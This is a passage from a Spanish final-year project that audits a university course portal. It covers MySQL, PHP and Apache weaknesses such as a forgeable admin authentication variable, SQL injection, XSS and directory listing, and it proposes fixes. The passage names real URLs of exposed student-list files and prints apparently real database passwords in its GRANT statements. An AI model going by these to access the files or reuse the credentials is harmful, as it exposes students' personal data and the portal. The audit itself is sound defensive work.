Este tnel entre ambos servidores web, que se establece por medio del proxy,
puede tener implicaciones en la seguridad. Hablaremos sobre esto ms adelante.
Por ltimo, y para finalizar con la descripcin del escenario a auditar,
comentaremos algunos aspectos relacionados con la base de datos.
La estructura actual de los datos en el servidor MySQL se resume en los
siguientes puntos:
Existen diferentes bases de datos, y cada una de ellas tiene asociada

una o varias tablas.
Cada servicio de nuestra Aplicacin tiene asociada una base de datos

diferente.
La Aplicacin accede al servidor MySQL mediante un nico usuario:

root (el superusuario).
Existen diversas tablas de usuarios, correspondientes a distintos

servicios (cada una de ellas se encuentra en la base de datos
correspondiente al propio servicio), de forma que los usuarios de un
servicio no tienen por qu coincidir con los de otro.
Pg. 65
3. Anlisis de seguridad.
La seguridad de un sistema depende a su vez de la seguridad de cada uno de
los subsistemas que lo compone. Por tanto, es lgico que analicemos, en primer
lugar, cada uno de estos subsistemas por separado, extraigamos conclusiones, y
finalmente, estudiemos cmo afectaran las vulnerabilidades encontradas en cada
subsistema, al funcionamiento global del sistema.
Dicho lo anterior, y ya centrndonos en nuestro escenario particular, se
entiende fcilmente que no debemos limitar nuestro anlisis a auditar simplemente el
cdigo de la Aplicacin sino que tambin habremos de extendernos sobre otros
aspectos, como por ejemplo la seguridad del propio servidor web que alberga las
pginas. En realidad, y a partir de aqu, resulta tentador dar un paso ms hacia
adelante, y de ah otro, etc.; para finalmente acabar auditando la red completa donde
se encuentran fsicamente los servidores. Bien, no es nuestra intencin llegar tan
lejos, y nuestras cotas o alcance del anlisis vendrn impuestas por el tiempo del que
disponemos para realizar la auditora, y en ltima instancia, por el sentido comn.
En cualquier caso, se ha decidido estructurar el anlisis de la siguiente forma:
Anlisis de seguridad del servidor MySQL y bases de datos asociadas.
Anlisis de seguridad de la Aplicacin propiamente dicha.
Anlisis de seguridad de los servidores web.
En el primer punto se tratarn aspectos relacionados con la base de datos,

sobre todo, cmo estructurar la misma para minimizar el impacto de ciertos agujeros
de seguridad. En el segundo viajaremos a travs del cdigo descubriendo algunos
fallos y malos hbitos de programacin que pueden afectar a la seguridad. En el
tercer y ltimo punto daremos algunas pautas muy generales para configurar un
Pg. 66
servidor web de forma adecuada (siempre pensando en la seguridad como primera

premisa).
3.1.
Anlisis de seguridad del servidor MySQL y bases de datos

asociadas.
Todos los datos asociados a los distintos servicios que nuestra Aplicacin
provee son guardados en una base de datos. Si alguien consiguiera acceder a esta
base de datos podra modificar datos a su antojo o borrarlos, con todo lo que eso
implica. El papel que juega el servidor de bases de datos es, pues, crucial.
3.1.1. Vulnerabilidades encontradas.

Ausencia de permisos y usuarios. La Aplicacin accede al servidor
MySQL siempre como superusuario (root).
El servidor MySQL es visible desde otras mquinas de la LAN.
3.1.2. Detalle de vulnerabilidades, soluciones propuestas y recomendaciones.

3.1.2.1. Ausencia de permisos y usuarios en la base de datos.
No se han creado diferentes usuarios con distinto grado de privilegio en el

servidor de bases de datos sino que la Aplicacin accede al servidor MySQL siempre
como superusuario (root). Este fallo es de severidad o gravedad media-alta.
La solucin recomendable es establecer una poltica de usuarios y privilegios
de acceso a las distintas bases de datos.
Pg. 67
3.1.2.2. El servidor MySQL es visible desde otras mquinas de la LAN.
El servicio MySQL se encuentra asignado a la direccin 0.0.0.0 de la mquina

Linux (apache). Esto quiere decir que ser visible desde cualquier interfaz de red,
incluido el correspondiente a la LAN. Sin embargo, y dado que tanto el servidor web
como el servidor MySQL residen en la misma mquina, y slo se va a acceder a las
bases de datos desde este servidor web, lo correcto sera que el servidor MySQL no
fuera visible desde el exterior. As en caso de que se descubriera alguna
vulnerabilidad que afectase al servidor MySQL, sta no sera explotable
remotamente sino que requerira de cuenta en el sistema (explotacin local). El nivel
de importancia de este fallo es medio.
La solucin es tan simple como asignar el servicio MySQL a la direccin IP
de loopback (127.0.0.1). De esta forma, el servicio slo ser visible desde la propia
mquina, y no desde el exterior.
3.1.3. Conclusiones.
Aunque los fallos encontrados no son extremadamente graves, s habr que
tenerlos en cuenta. De hecho, ambos sern subsanados. En particular, se describir en
el prximo captulo la poltica de usuarios y privilegios implantada, en lo que a la
base de datos respecta.
3.2.
Anlisis de seguridad de la Aplicacin propiamente dicha.
La programacin de la Aplicacin constituye uno de los puntos ms crticos de

nuestro sistema. Un mal diseo o una mala implementacin podra provocar que un
intruso pudiera alterar informacin de la base de datos, obtener informacin sobre el
sistema (que podra utilizar ms adelante como base para lanzar algn otro tipo de
Pg. 68
ataque, como por ejemplo, de Ingeniera Social), o quizs lograr acceso al servidor
Unix donde se ubica nuestra Aplicacin.
3.2.1. Vulnerabilidades encontradas.

Validacin de entrada de usuario insuficiente en la herramienta de
administracin: un intruso podr realizar cualquier operacin como
Administrador.
Susceptibilidad a ataques de inyeccin SQL, dependiendo de la
configuracin del motor PHP del servidor.
Contraseas de alumnos dbiles y fcilmente adivinables, en el servicio
de encuesta.
Revelacin de informacin sensible a travs de ficheros de texto
accesibles directamente desde la WWW.
Posible inyeccin de etiquetas HTML y JavaScript, lo que posibilita
ataques de tipo Cross Site Scripting.
Falsa sensacin de seguridad en la herramienta de administracin de la
Aplicacin (security by obscurity).
3.2.2. Detalle de vulnerabilidades, soluciones propuestas y

recomendaciones.
3.2.2.1.
Validacin de entrada de usuario insuficiente en la herramienta de

administracin.
La herramienta de administracin consta de diferentes scripts PHP, los cuales

son llamados sucesivamente, segn la tarea administrativa seleccionada. Existe una
fase previa de autentificacin durante la cual tiene lugar la comprobacin de usuario
y contrasea, y tras la cual se asigna un valor a una variable, en virtud del xito o no
de la autentificacin. Los siguientes scripts que son llamados no realizan la
autentificacin propiamente dicha sino que se limitan a leer el valor de dicha
Pg. 69
variable, y dependiendo de ella deniegan o no el acceso a la funcionalidad que el

script en cuestin provee. Esta variable es pasada a travs de un mecanismo POST
normal.
Por tanto, un intruso podr realizar peticiones a distintos scripts de
administracin y pasarles la variable de autentificacin falseada, de forma que el
script le trate como si de un Administrador correctamente autentificado se tratara, y
permitindole el acceso a operaciones administrativas (borrar entradas de la base de
datos, etc.). Esta vulnerabilidad puede ser explotada remotamente y ha sido
calificada como grave.
Para demostrar esta vulnerabilidad se ha elaborado un pequeo trozo de
cdigo (exploit) que falsea la variable de autentificacin y consigue aadir una
entrada a la base de datos de dudas (con el contenido que se desee), sin necesidad de
conocer la contrasea del administrador. Lo podr encontrar en el Apndice C de
este Proyecto Fin de Carrera.
Podemos solucionar este problema de seguridad mediante la instauracin de
un sistema de autentificacin adecuado, basado en sesiones de usuario. De esta
forma, las variables crticas se almacenarn como datos de sesin, siendo estos
ltimos mantenidos de forma transparente en el servidor. Las distintas sesiones se
referencian mediante un identificador de sesin (session-id), el cual deber ser
nico para cada cliente, y que ser guardado en una cookie en el navegador de este
ltimo. PHP dispone del API necesario para realizar con facilidad y comodidad el
manejo de sesiones.
En el siguiente captulo se tratar con detalle el sistema de autentificacin
propuesto e implantado con xito en el sistema.
Pg. 70
3.2.2.2.
Susceptibilidad a ataques de inyeccin SQL, dependiendo de la

configuracin del motor PHP del servidor.
Los distintos accesos a la base de datos se llevan a cabo mediante sentencias

SQL, las cuales son construidas insertando directamente el valor de ciertas variables
(nombre de usuario, identificador, etc.). Estas variables provienen normalmente de la
entrada de usuario, sin ningn tipo de transformacin, por lo que un intruso podra
modificarlas a su antojo e incluir caracteres especiales como las comillas simples (),
consiguiendo as alterar el curso de la sentencia SQL.
PHP implementa una proteccin ante este tipo de ataque. Se trata de la opcin
magic_quotes_gpc, en el fichero de configuracin php.ini, la cual viene activada
por defecto, y cuyo efecto es que toda variable de entrada de usuario (GET, POST o
Cookie) sea automticamente analizada en busca de caracteres especiales, y en caso
de encontrarlos, stos sean escapados (anteponiendo una barra invertida \ o
carcter backslash).
En el servidor analizado, esta opcin se encuentra habilitada, por lo que un
ataque de tipo inyeccin de SQL no es posible. Sin embargo, se recomienda no
hacer el cdigo de la Aplicacin dependiente de funcionalidades especiales como
magic_quotes_gpc, ya que en caso de instalar la Aplicacin en un nuevo servidor
(o simplemente actualizar el software PHP a una nueva versin) donde opciones
como la anterior no se encuentren habilitadas por defecto, tendr como consecuencia
fatal la aparicin de la vulnerabilidad que nos ocupa, esto es, la Aplicacin sera
vulnerable a SQL inject.
Por esta razn, calificamos la vulnerabilidad encontrada como leve, no porque
este tipo de vulnerabilidad no sea importante sino porque realmente la Aplicacin
slo es potencialmente vulnerable. Esto es, depender de la configuracin del
motor PHP y de hecho, en el entorno analizado y como hemos explicado antes, la
Aplicacin no ha resultado ser vulnerable.
Pg. 71
La solucin correcta para evitar la inyeccin de SQL (y otros problemas

derivados de un chequeo insuficiente de entrada de usuario) consiste en parsear
(analizar sintcticamente) toda variable proporcionada por el usuario y escapar
(normalmente con el carcter \) cualquier carcter que tenga un significado
especial (como la comilla simple). Este filtrado de caracteres especiales lo debe
hacer la propia Aplicacin y no confiar en mecanismos externos a ella, como el
mencionado magic_quotes_gpc.
En PHP existen funciones como addslashes() que realizan precisamente esta
labor de escapado. Podramos hacer uso de esta funcin (u otras similares) desde el
propio cdigo de la Aplicacin. En el siguiente captulo estudiaremos otros mtodos
y soluciones que se han implementado.
3.2.2.3.
Contraseas de alumnos dbiles y fcilmente adivinables, en el servicio

de encuesta.
Gracias al servicio de encuesta, se permite a los alumnos evaluar a los

distintos profesores que imparten la asignatura. A efectos estadsticos, es
recomendable que un alumno pueda realizar una y slo una encuesta por cada
profesor existente. Para ello, se identifica al alumno, antes de permitirle insertar una
nueva encuesta: el alumno debe introducir una contrasea que lo autentifica.
Pues bien, la vulnerabilidad consiste en que se usa el D.N.I. del alumno, como
contrasea. Se considera dbil, pues un atacante puede obtener esta informacin
fcilmente (por ejemplo, consultando las actas de la asignatura o cualquier tabln
pblico donde se publiquen listados de calificaciones de alumnos u de otras
actividades; este tipo de listados frecuentemente incluyen el dato del D.N.I. del
alumno). Sera un tarea ms ardua para el atacante (pero totalmente factible) realizar
un ataque de fuerza bruta para averiguar la contrasea del alumno (el espacio de
contraseas se encuentra suficientemente acotado, puesto que conocemos la
Pg. 72
estructura o la forma que tendr la contrasea). El grado de severidad de esta

vulnerabilidad es medio-alto.
La solucin ser usar contraseas robustas, que no sean fcilmente adivinables
ni susceptibles de ser atacadas con xito en un ataque de fuerza bruta.
Implementaremos contraseas generadas aleatoriamente, mezclando nmeros y letras
(maysculas y minsculas), y de una longitud considerable.
3.2.2.4.
Revelacin de informacin sensible a travs de ficheros de texto

accesible directamente desde la WWW.
Entre los ficheros que forman el conjunto de la Aplicacin (.html, .php, etc.),
hemos encontrado diversos archivos de texto (ASCII) que contienen informacin
sensible (listado de alumnos, paths absolutos de los ficheros de la Aplicacin en el
servidor, etc.). Estos ficheros se encuentran en directorios de la web, y pueden ser
accedidos pblicamente, previo conocimiento de su ubicacin exacta (lo cual
tampoco es difcil teniendo en cuenta que la documentacin del portal es pblica o
que se pueden aprovechar otras vulnerabilidades para obtener informacin de los
directorios del servidor).
Enumeramos algunos ejemplos:
o http://woody.us.es/fbarrero/lie/encuesta/registro_fer.txt
o http://woody.us.es/fbarrero/lie/encuesta/ListadoAlumnos.txt
o diversos ficheros WS_FTP.LOG encontrados en la mayora de
directorios y subdirectorios.
Mediante el primer enlace un atacante obtendra acceso al listado de alumnos
(y su D.N.I.) que han realizado la encuesta correspondiente a uno de los profesores.
El segundo enlace nos dara acceso a la totalidad del listado de alumnos (y D.N.I.
asociados).
Pg. 73
Los archivos WS_FTP.LOG son ficheros de log creados por el programa

cliente de ftp WS-FTP (Windows). Contienen informacin sensible como el path
absoluto de los ficheros que han sido subidos (o bajados) mediante ftp al servidor.
El impacto de esta vulnerabilidad es medio. Entre otras cosas, un atacante
podra rellenar todas las encuentas (correspondientes a cada uno de los alumnos, y
para los tres profesores disponibles), puesto que el servicio de encuestas utiliza el
D.N.I. del alumno como clave de acceso (lo cual constituye otra vulnerabilidad).
Esto dara como resultado un ataque de denegacin de servicio (D.o.S.), para el
servicio encuesta, al no permitir al alumno legtimo evaluar al profesor, si es que
el intruso ya ha realizado la encuesta correspondiente a dicho alumno. Y lo que es
ms grave, los resultados obtenidos en la encuesta no se correspondera con la
realidad sino que estaran falseados.
La mejor solucin es eliminar este tipo de ficheros. En algunos casos, esto no
es posible a priori, puesto que por (un mal) diseo de la Aplicacin, estos ficheros
son necesarios (es el caso de registro_fer.txt y otros). En este segundo caso, ser
necesario redisear la Aplicacin y la base de datos, de forma que los datos del
fichero de texto borrado puedan ser incluidos en el servidor MySQL.
Otra alternativa (que no recomendamos) sera mover estos ficheros a una
nueva ubicacin o directorio que no pueda ser accedido desde la WWW (o incluso
aadir reglas de denegacin de acceso en el fichero de configuracin de Apache, para
estos ficheros especiales). Esta ltima no es, a nuestro entender, la solucin ms
ortodoxa.
3.2.2.5.
Posible inyeccin de etiquetas HTML y JavaScript, lo que posibilita

ataques de tipo Cross Site Scripting.
Una vez ms, la carencia de chequeo de entrada de usuario desemboca en una

nueva vulnerabilidad: la posible inyeccin de HTML y/o JavaScript. Aprovechando
Pg. 74
este agujero de seguridad, un atacante conseguira ejecutar cdigo JavaScript

malicioso en el ordenador cliente. Entre las funcionalidades que dicho cdigo podra
implementar, una de las ms peligrosas es el robo de cookies. Teniendo en cuenta
que las cookies a menudo guardan informacin sensible (como el identificador de
sesin), resulta un problema de gravedad media-alta. Otra posibilidad es que se
introduzca cdigo malicioso que explote alguna vulnerabilidad local del navegador
(por ejemplo, en ciertas versiones de Internet Explorer se podra conseguir lanzar
comandos locales a la mquina cliente), lo que entraara una mayor gravedad; sin
embargo, explotar este tipo de problemas es ms difcil e improbable, ya que
depende de la configuracin del cliente (el navegador y versin que est usando,
etc.).
3.2.2.6.
Falsa sensacin de seguridad en la herramienta de administracin de la

Aplicacin (security by obscurity).
Segn la documentacin del portal auditado, uno de los mtodos utilizados

para proteger la herramienta de administracin del mismo se basa en el
desconocimiento por parte de un posible intruso de la ubicacin de los diferentes
scripts PHP que la implementan. Sin embargo, est demostrado que este tipo de
proteccin realmente no es tal, y que crea una falsa sensacin de seguridad, que no
se corresponde con la realidad. Si la herramienta de administracin tiene alguna
vulnerabilidad, sta seguir existiendo, a pesar de que est oculta. Un potencial
intruso podra obtener informacin suficiente por otras vas (aprovechando otro tipo
de fallos, mediante el uso de ingeniera social, etc.) que compensaran la
desinformacin inicial que supuestamente protega la Aplicacin, quedando esta
ltima al descubierto.
Un ejemplo de lo anterior ocurre precisamente en el escenario auditado.
Supongamos que un atacante desea conocer la ubicacin exacta de los scripts de
administracin. Lo primero que se le ocurrir ser buscar informacin y
documentacin sobre la Aplicacin que est atacando. En este caso, la referida
Pg. 75
documentacin se encontraba en las memorias de un Proyecto Fin de Carrera anterior

(la cual en muchos casos es pblica, y se encuentra en bibliotecas de Universidades,
etc.). Ni siquiera habra sido requisito indispensable obtener esta documentacin:
resulta que el servidor web est mal configurado (o quizs el Admin del servidor ha
dejado esa configuracin adrede) y permite el listado de directorios y ficheros
(describiremos esta vulnerabilidad ms adelante, en el apartado dedicado a
vulnerabilidades del servidor). De esta forma, haciendo una peticin al directorio
/admin/, el servidor web nos devolver un listado completo del contenido de este
directorio, dejando al descubierto los scripts PHP de administracin. El nombre del
directorio (admin) es comnmente usado para albergar diferentes herramientas de
administracin, por lo que tampoco es difcil de descubrir o imaginar.
La solucin es simplemente no confiar la seguridad de nuestra Aplicacin al
ocultismo o a la supuesta carencia de informacin de un potencial intruso. Si bien, en
algunos escenarios puede ser til, como medida adicional, ocultar cierta informacin (por ejemplo, la versin del software servidor usado), para dificultar la labor de
exploracin de un atacante, nunca debemos utilizar esta tcnica como nica barrera
frente al intruso.
El elevado nmero de fallos encontrados as como la gravedad de algunos de
ellos deja entrever que el autor original del portal no se preocup por la seguridad de
su Aplicacin o simplemente desconoca por completo estos aspectos.
Tambin hemos podido comprobar cmo la combinacin de vulnerabilidades
de distinta naturaleza puede resultar en un agujero de seguridad ms grave de lo que
en principio se pudiera imaginar. Tal ha sido el caso del fallo de tipo security by
obscurity en combinacin con el listado de directorios que permita el servidor (y
que estudiaremos en el siguiente punto).
Pg. 76
Otra muestra que ilustra el concepto anterior la tenemos al combinar otras dos
vulnerabilidades: ausencia de permisos y usuarios en la base de datos (descrito en
el apartado Anlisis de seguridad del servidor MySQL y bases de datos asociadas)
y los problemas de inyeccin de SQL descritos en el apartado actual. El alcance de
esta segunda vulnerabilidad viene dado por la primera: al carecer de una poltica de
usuarios y permisos correcta, y realizarse todas las operaciones de la base de datos
bajo el superusuario (root), un atacante mediante inyeccin de SQL- podra
ejecutar sentencias SQL que requieran de privilegios administrativos (el intruso
tendr acceso a la totalidad del servidor MySQL y bases de datos que ste contenga).
De otra forma, si se hubiera planificado e implementado una poltica adecuada,
segn la cual cada sentencia SQL se ejecutara bajo un usuario con privilegios
limitados, el alcance o mbito de poder del intruso se vera mermado y acotado (en
particular, slo podra alterar la informacin accesible por el usuario de bajos
privilegios, y no tendra acceso a la totalidad del servidor MySQL, como ocurra
anteriormente). Recalcamos pues la importancia de este tipo de medidas limitadoras
de privilegios y que acotan o limitan el alcance de un intruso, en caso de que la
seguridad del servidor haya sido comprometida por otras vas.
3.3.
Anlisis de seguridad de los servidores web.
Los servidores web involucrados son mquinas Unix, ms concretamente

Linux. No tenemos control sobre ambas, sino nicamente sobre la denominada
apache (donde tenemos privilegios de root), por lo que ser sta la que
analicemos en mayor profundidad y con ms fiabilidad, e incluso tomemos medidas
como administrador para solucionar los agujeros encontrados durante el anlisis.
Para el caso de woody se informar a sus administradores en caso de que
descubramos alguna vulnerabilidad, para que stos la solventen, si lo creen
Pg. 77
pertinente. Puesto que no tenemos cuenta ni ningn otro tipo de acceso en woody,
no nos queda otra alternativa que analizarlo desde fuera. No disponemos de tiempo
suficiente para realizar tests de penetracin en woody (que sera lo ideal) por lo
que nos limitaremos a lanzar contra l un escner de vulnerabilidades, para obtener
una panormica de los servicios que ofrece, las versiones de los demonios que corre
y cuales de stas podran ser vulnerables. As de paso veremos un ejemplo de
funcionamiento de este tipo de programas; creemos que puede ser bastante
ilustrativo. El resultado as obtenido nunca puede ser tomado como definitivo; ser
ms bien algo orientativo que debera servir de base para posteriores pruebas y
anlisis que, por falta de tiempo, nos vemos imposibilitados de realizar.
El estudio realizado por el escner de vulnerabilidades Retina, lanzado
sobre woody, ha quedado plasmado en el Apndice D de este Proyecto Fin de
Carrera. Recomendamos encarecidamente su lectura.
3.3.1. Vulnerabilidades encontradas en apache.

Versiones de software servidor Apache y PHP anticuadas, con agujeros
de seguridad conocidos, de carcter muy grave.
Servicio SSH anticuado.
Apache permite listar directorios web que no dispongan de pginas
index.
Servicios innecesarios.
Pg. 78
3.3.2. Detalle de vulnerabilidades, soluciones propuestas y

recomendaciones.
3.3.2.1.
Versiones de software servidor Apache y PHP anticuadas, y con

agujeros de seguridad conocidos, de carcter muy grave.
Se encontraron las siguientes versiones de software: Apache 1.3.19 y PHP

4.0.4pl1. Ambas estn obsoletas y se conocen importantes fallos de seguridad,
algunos de ellos explotables remotamente. La severidad de esta vulnerabilidad es
muy alta.
La solucin ms recomendable es actualizar el software servidor a las ltimas
versiones disponibles. A la hora de realizar este escrito, stas eran: Apache 1.3.27 y
PHP 4.2.3.
3.3.2.2.
Servicio SSH anticuado.
La versin de OpenSSH que se ha encontrado instalada es la 2.1.1. Es muy

antigua ya y tiene varios agujeros de seguridad, entre los cuales, cabe destacar:
CVE-2002-0083: OpenSSH Channel Code Off-By-One Vulnerability
CAN-2002-0639: OpenSSH Challenge-Response Buffer Overflow Vulnerabilities
Ambos agujeros pueden ser explotados remotamente. El nivel de riesgo es

alto. Se recomienda la actualizacin del software SSH. A la hora de escribir estas
lneas la ltima versin disponible (y por tanto ms recomendable) era la 3.5.
3.3.2.3.
Apache permite listar directorios web que no dispongan de pginas

index.
Si lanzamos una peticin al servidor web, del tipo GET /directorio/, Apache
comprobar si existe una pgina ndice (normalmente index.html o index.php,
dependiendo de la configuracin de Apache) contenida en dicho directorio. Si as es,
Pg. 79
servir dicha pgina. Si no existe pgina ndice alguna, Apache intentar mostrar el
contenido del directorio, esto es, servir un listado de ficheros de dicho directorio.
Este es el comportamiento por defecto, y el que hemos observado en los servidores
web auditados.
Un simple listado de directorio puede revelar informacin adicional importante a un atacante, segn qu escenarios. Sin ir ms lejos, en el caso que nos ocupa
nos sirvi para listar el contenido del directorio /admin/, que contena los scripts de
administracin del portal (aquellos que supuestamente estaban escondidos), para
ms adelante intentar explotarlos individualmente.
Nuestra recomendacin es deshabilitar el listado de directorios en Apache.
Para ello, no tenemos ms que buscar y comentar (o borrar) la siguiente lnea en el
fichero de configuracin de Apache (httpd.conf):
Options Indexes
En realidad, Indexes es una opcin que podemos activar en uno, varios o

todos los directorios que componen las pginas web a cargo del servidor, por lo que
podrn aparecer varias lneas como la anterior a lo largo de todo el fichero
httpd.conf. Habr que asegurarse de que la opcin se encuentra desactivada en
cada uno de los directorios que aparecen definidos en el fichero de configuracin, o
al menos, en los ms significativos.
Pueden aparecer otras opciones en una clusula Options (por ejemplo,
Options Indexes FollowSymLinks MultiViews), en cuyo caso simplemente
bastar con eliminar la palabra Indexes y dejar lo dems tal cual.
Pg. 80
3.3.2.4.
Servicios innecesarios en apache.
Los servicios que actualmente se encuentran ejecutndose en apache son:

tcp
0 *:www-http
*:*
LISTEN
24613/httpd
tcp
0 *:mysql
*:*
LISTEN
309/mysqld
tcp
0 *:ssh
*:*
LISTEN
320/sshd
tcp
0 *:telnet
*:*
LISTEN
258/inetd
tcp
0 *:ftp
*:*
LISTEN
258/inetd
udp
0 *:ntalk
*:*
258/inetd
udp
0 *:talk
*:*
258/inetd
Se recomienda cerrar todos los servicios excepto:

-
www-http (puerto 80): para poder servir pginas web.
mysql (puerto 3306): para la comunicacin con el servidor MySQL.

No obstante, se recomienda que ste escuche peticiones nicamente
en la direccin IP de loopback (127.0.0.1).
ssh (puerto 22): para poder gestionar y administrar la mquina

remotamente y/o subir ficheros, de una forma segura (las comunicaciones por esta va siempre van encriptadas).
Los servicios de ntalk y talk se usan para que usuarios de diferentes mquinas
puedan hablar entre s (mediante mensajes de texto interactivos, a modo de chat)
y rara vez son realmente necesarios.
El servicio telnet es considerado tradicionalmente inseguro, entre otras cosas,
porque establece sesiones sin encriptar (viajan en texto plano a travs de la red), que
pueden ser espiadas fcilmente por un atacante mediante tcnicas conocidas como
sniffing). Su funcin es suplida perfectamente por el servicio ssh, el cual adems
es ms seguro.
Pg. 81
Le ocurre algo parecido al servicio ftp, por lo que se recomienda cerrarlo, y en

su lugar usar las funcionalidades para subir o bajar ficheros que ssh provee (sftp y
scp).
Corresponde al administrador de sistemas la labor de mantener al da el
software de sus servidores, libre de fallos y vulnerabilidades. En este apartado hemos
descubierto y analizado algunos de estos agujeros.
Las vulnerabilidades encontradas en apache son bastante serias. Si bien esta
mquina no se encuentra accesible directamente desde Internet (woody acta como
proxy), s que podra ser fcilmente atacada desde el interior de la LAN, o bien, por
un atacante que previamente hubiera logrado acceso a la red, comprometiendo otras
mquinas vecinas.
El propio esquema de acceso a apache, a travs de woody, tambin
constituye por s mismo un problema de seguridad, ya que el primer servidor se
encuentra en el interior de la LAN, y sin embargo podra ser comprometido
directamente desde Internet, gracias a la redireccin de trfico que lleva a cabo
woody. Un esquema ms robusto sera ubicar a apache en un segmento de red
distinto
de
la
LAN,
llamado
zona
desmilitarizada
(DMZ),
aislar
convenientemente dicha zona de la LAN interna.

No hemos tenido tiempo para analizar y poner a prueba a woody, salvo el
chequeo automtico que hemos llevado a cabo con el escner de vulnerabilidades
Retina. No obstante, el reporte incluido en el Apndice D muestra que woody
ofrece demasiados servicios, y por tanto, es propensa a ser vulnerable.
Recomendamos encarecidamente que se revisen dichos servicios, se cierren los que
no sean realmente necesarios, y se actualice el software correspondiente a los
servicios que se han de dejar activos. Asimismo, y como medida de seguridad
Pg. 82
adicional, no sera mala idea instalar parches de seguridad extra para el ncleo de
Linux, como por ejemplo, proteccin genrica contra buffer overflows (nonexecutable stack -regin de pila no ejecutable-). Una coleccin muy buena que
recopila algunos de estos parches es conocida bajo el nombre de grsecurity.
Recomendamos su instalacin encarecidamente.
4. Conclusiones.
Una vez finalizado el anlisis de seguridad de cada una de las partes que
componen nuestro sistema auditado, estamos en condiciones de diagnosticar u opinar
sobre la seguridad de nuestro escenario, considerado de forma global.
Podemos calificar la seguridad global del sistema como de un grado de
vulnerabilidad medio-alto. Resulta evidente que la Aplicacin no se dise con la
seguridad en mente sino que sta fue ignorada por completo. Adems, el cdigo
auditado presenta, en general, un acentuado desorden, lo que ha dificultado el
anlisis, y una vez ms, pone en evidencia al programador del portal.
En cuanto a la configuracin de los servidores (Apache y PHP) stos se
encontraban con la configuracin que viene por defecto al instalar dichos paquetes de
software. No haba sido optimizada en absoluto. Se recomienda echar un vistazo al
Apndice A (Instalacin y configuracin de un entorno seguro basado en Apache /
PHP / MySQL) del presente Proyecto Fin de Carrera.
Pg. 83
Captulo 4. Soluciones y mejoras implementadas
Captulo 4
Soluciones y mejoras implementadas
1. Introduccin.
A lo largo de este captulo, que promete ser bastante denso y completo,
resolveremos la totalidad de los problemas encontrados. Expondremos las soluciones
que se han decidido implementar en detalle y las razones que nos han llevado a
hacerlo.
No slo responderemos a las vulnerabilidades descritas en el captulo
anterior, sino que tambin daremos cabida a mejoras sugeridas por el tutor o incluso
el propio autor de este Proyecto Fin de Carrera, y que en definitiva contribuirn a
aumentar la calidad del portal web.
Pg. 84
2. Objetivos.
La implementacin que llevaremos a cabo perseguir, en lneas generales, los
siguientes objetivos:
Aadir un soporte de usuarios y autentificacin adecuados, de forma
que sea posible restringir el acceso a distintas reas del portal.
Aadir flexibilidad y portabilidad (as se facilita la labor de crear un
nuevo portal a partir del original).
Solucionar vulnerabilidades encontradas durante el anlisis de
seguridad y en definitiva, mejorar la seguridad del portal.
Simplificar cdigo en algunos casos e incluso depurar la Aplicacin
(correccin de errores tipo warning o notice, por ejemplo).
Mejorar y completar la herramienta de administracin (en particular,
aadiremos opciones de edicin entre otras hasta ahora inexistentes;
tambin crearemos una serie de mens de administracin muy
intuitivos y fciles de usar, a la vez de potentes).
El alcance de la implementacin es total (llegando a tocar incluso la propia
estructura de la base de datos, la cual se ver beneficiada por diversas optimizaciones
y mejoras).
Pg. 85
3. Implementaciones.
3.1.
Poltica de seguridad en bases de datos y servidor MySQL.
3.1.1. Justificacin.
Una de las vulnerabilidades que encontramos en el anlisis realizado al
servidor MySQL en el captulo anterior fue precisamente la ausencia de este tipo de
poltica de seguridad. La Aplicacin siempre acceda al servidor MySQL con la
cuenta root (de mximos privilegios).
En el caso de nuestra Aplicacin, y por poner un ejemplo, si un atacante
encontrara la forma de ejecutar sentencias SQL (haciendo uso de la tcnica conocida
como inyeccin de SQL), habra obtenido acceso a todo el servidor MySQL (no
slo a las bases de datos del portal, sino tambin a cualquier otra que estuviera
siendo albergada por el servidor). El problema sera grave.
Es buena tctica limitar el grado de privilegios con los que se ejecutan
distintas operaciones, de modo que un usuario no obtenga permisos que nunca va a
necesitar. De esta forma, si un atacante consiguiera acceso a esa cuenta de usuario, su
campo de accin estara acotado por las limitaciones de permisos impuestas a la
cuenta.
Pues bien, hemos decidido implantar una poltica de seguridad, bastante
simple, pero que tendr efectos positivos en la seguridad. De paso servir para
ilustrar el concepto que hemos tratado de explicar.
3.1.2. Modelo propuesto.

La poltica de seguridad implantada se resume en los siguientes puntos:
Pg. 86
Creacin de dos usuarios1 en el servidor MySQL: uno con privilegios de

slo lectura y otro que adems tendr acceso de escritura. El primero se ha
llamado csed (que es el nombre del portal) y ser usado por la parte de
la Aplicacin encargada de ofrecer los servicios normales (como la
consulta de distintos tablones) a los usuarios de menor privilegio. El
segundo lo hemos nombrado csed_admin, por razones obvias, y lo usar
principalmente la parte de la Aplicacin relacionada con la herramienta de
administracin del portal (para realizar tareas como creacin de nuevos
usuarios, modificacin de bases de datos y en general, todo tipo de
funciones administrativas).
El usuario csed tambin es vlido para el servicio de encuestas. Como
ste necesita un mnimo acceso de escritura (para poder escribir los
resultados de la encuesta rellenada, en la base de datos), se le ha dado este
pequeo privilegio a dicho usuario. Por tanto, el usuario csed no es
realmente de slo lectura en sentido estricto aunque a grandes rasgos se
puede considerar como si lo fuera (de hecho lo ser para todas las bases de
datos, a excepcin de la asociada al servicio encuesta). Quizs habra
sido ms adecuado, desde el punto de vista de la seguridad, haber creado
un tercer usuario para suplir este caso excepcional, pero no se ha querido
complicar ms el modelo y por tanto, no se ha hecho.
Tanto a uno como a otro usuario le han sido concedidos privilegios
exclusivamente sobre las bases de datos del portal.
Se han asignado contraseas robustas y seguras a ambos usuarios.
Es importante no confundir los usuarios de MySQL con otro tipo de usuarios (como pueden ser los
del propio portal o Aplicacin que son los que se manejan desde la herramienta de administracin,
o incluso los del sistema Unix donde est instalado el software servidor web).
Pg. 87
3.1.3. Implementacin.
El fichero SQL que implementa la poltica de seguridad expuesta se puede ver
en la figura 4.1.
Para una ms fcil comprensin de la sintaxis utilizada, se recomienda la
lectura del Apndice B (Seguridad bsica en bases de datos MySQL) del presente
Proyecto Fin de Carrera.
grant select, insert, update, delete on cuestionario_csed.*

to csed_admin@localhost identified by 'B0e8Yt4K';
grant select, insert, update, delete on dudas_csed.* to
csed_admin@localhost ;
grant select, insert, update, delete on encuesta_csed.* to
grant select, insert, update, delete on notas_csed.* to
grant select, insert, update, delete on noticias_csed.* to
grant select on cuestionario_csed.* to csed@localhost
identified by 'MQVbnSBT';
grant select on dudas_csed.* to csed@localhost ;
grant select on encuesta_csed.* to csed@localhost ;
grant select on notas_csed.* to csed@localhost ;
grant select on noticias_csed.* to csed@localhost ;
grant insert on encuesta_csed.* to csed@localhost ;
